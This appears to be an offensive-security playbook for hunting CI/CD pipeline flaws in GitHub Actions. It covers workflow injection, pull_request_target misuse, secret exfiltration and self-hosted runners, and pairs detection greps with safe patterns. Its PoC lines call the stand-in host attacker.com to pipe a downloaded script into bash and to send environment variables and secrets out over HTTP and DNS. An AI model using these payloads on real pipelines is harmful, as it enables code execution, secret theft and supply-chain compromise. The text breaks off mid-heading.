/cicd-security

name: cicd-security
description: CI/CD pipeline security hunting — GitHub Actions workflow injection, secret exfiltration, self-hosted runner poisoning, dependency confusion, OIDC token theft, and supply chain attacks. Covers sisakulint scanning, manual workflow analysis, and chaining CI/CD bugs into critical findings. Use when a target has public repos, GitHub Actions, CircleCI, Jenkins, or GitLab CI.

CI/CD SECURITY — Pipeline Attack Surface

> CI/CD pipelines are high-value targets — a single workflow injection can give you code execution on the build server, read ALL org secrets, and push backdoored releases to production.

---

0. QUICK KILL CHECKLIST

[ ] Run cicd_scanner.sh <owner/repo> — catch low-hanging workflow lint issues
[ ] Check for script injection: ${{ github.event.*.body/title/name }}
[ ] Find secrets referenced in env: — test if they leak in logs
[ ] Check pull_request_target with checkout of untrusted code
[ ] Look for self-hosted runners on public repos
[ ] Search for OIDC token requests without audience restriction
[ ] Check for unpinned actions (uses: owner/action@main)
[ ] Look for workflow_dispatch with no input validation
[ ] Find artifact downloads without integrity checks
[ ] Search for GITHUB_TOKEN with write permission used insecurely

---

1. TOOL — cicd_scanner.sh

# Single repo
bash tools/cicd_scanner.sh owner/repo

# Org-wide (up to 30 repos)
bash tools/cicd_scanner.sh "org:orgname" --limit 50 --parallel 5

# Scan with recursive reusable workflow analysis
bash tools/cicd_scanner.sh owner/repo --recursive --depth 5

# Custom output
bash tools/cicd_scanner.sh owner/repo --output-dir ./findings/target/cicd

**Output:** `findings/<target>/cicd/scan_results.txt` + `summary.txt`

**What sisakulint finds:**

• Script injection via untrusted context
• Unpinned actions (tag instead of SHA)
• `pull_request_target` misuse
• Dangerous patterns (`eval`, `curl | bash`, etc.)
• Exposed secret names in `run:` blocks

---

2. WORKFLOW INJECTION (Critical — Most Common Paid Bug)

What It Is

GitHub Actions exposes PR/issue data as context variables. If injected into a `run:` block without sanitization, an attacker controls shell code.

Vulnerable Pattern

# VULNERABLE — attacker controls pr.title
- name: Print PR title
  run: echo "Title: ${{ github.event.pull_request.title }}"
  # Attacker PR title: "; curl attacker.com/shell.sh | bash #"

Safe Pattern

# SAFE — pass through env var, never interpolate directly
- name: Print PR title
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "Title: $PR_TITLE"

Injectable Contexts (always check these)

github.event.pull_request.title
github.event.pull_request.body
github.event.pull_request.head.ref        ← branch names
github.event.issue.title
github.event.issue.body
github.event.comment.body
github.event.review.body
github.event.review_comment.body
github.event.discussion.title
github.event.discussion.body
github.head_ref                            ← alias for branch name
github.event.inputs.*                      ← workflow_dispatch inputs

PoC Payload

# PR title / issue title payload:
"; wget -q -O- attacker.com/$(cat /etc/hostname | base64) #

Detection Grep

# Find injectable patterns in .github/workflows/
grep -rn '\${{.*github\.event\.\(pull_request\|issue\|comment\|review\|discussion\)' .github/workflows/
grep -rn '\${{.*github\.head_ref' .github/workflows/
grep -rn '\${{.*github\.event\.inputs' .github/workflows/

---

3. pull_request_target MISUSE (Critical)

What It Is

`pull_request_target` runs in the context of the BASE repo (has secrets) but can be tricked into checking out and running attacker code.

Vulnerable Pattern

on: pull_request_target

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # ← attacker code!
      - run: npm test  # runs attacker's package.json scripts

Why It's Critical

• `pull_request_target` has access to secrets
• Checkout uses the PR's code
• Any `run:` step executes attacker-controlled code with access to all org secrets

Detection

grep -rn 'pull_request_target' .github/workflows/
# Then check if the same job does a checkout of the PR head
grep -A 20 'pull_request_target' .github/workflows/*.yml | grep -E '(head\.sha|head_ref|checkout)'

---

4. SECRET EXFILTRATION

Secrets That Appear in Logs

# Search for secrets echoed in run: blocks
grep -rn 'echo.*secrets\.' .github/workflows/
grep -rn 'cat.*secrets\.' .github/workflows/
grep -rn 'env.*secrets\.' .github/workflows/ | grep -v '^#'

GITHUB_TOKEN Abuse

The auto-generated `GITHUB_TOKEN` can be used to:

• Push code to branches
• Create releases
• Read all private repo content
• Approve PRs (if permissions allow)

# Check for overly broad permissions
permissions:
  contents: write    # ← Can push/delete code
  packages: write    # ← Can push malicious packages
  pull-requests: write

PoC — Exfil via DNS

# In an injected run: block
curl "https://attacker.com/?d=$(printenv | base64 -w0)"
# Or via DNS (more stealthy)
nslookup "$(printenv SECRET | md5sum | cut -c1-20).attacker.com"

---

5. SELF-HOSTED RUNNER POISONING

Why It Matters

Public repos with self-hosted runners allow ANY fork to queue jobs on internal machines.

Detection

# In workflow files
grep -rn 'self-hosted' .github/workflows/
# Combined with — does the repo accept PRs from forks?
# Pull triggers that run on self-hosted
grep -B5 'self-hosted' .github/workflows/*.yml | grep -E '(pull_request|push)'

Exploit Path

1. Fork public repo that uses self-hosted runners 2. Open PR with malicious workflow step 3. Job runs on internal self-hosted runner 4. Access internal network, read instance metadata, exfil secrets

PoC Workflow A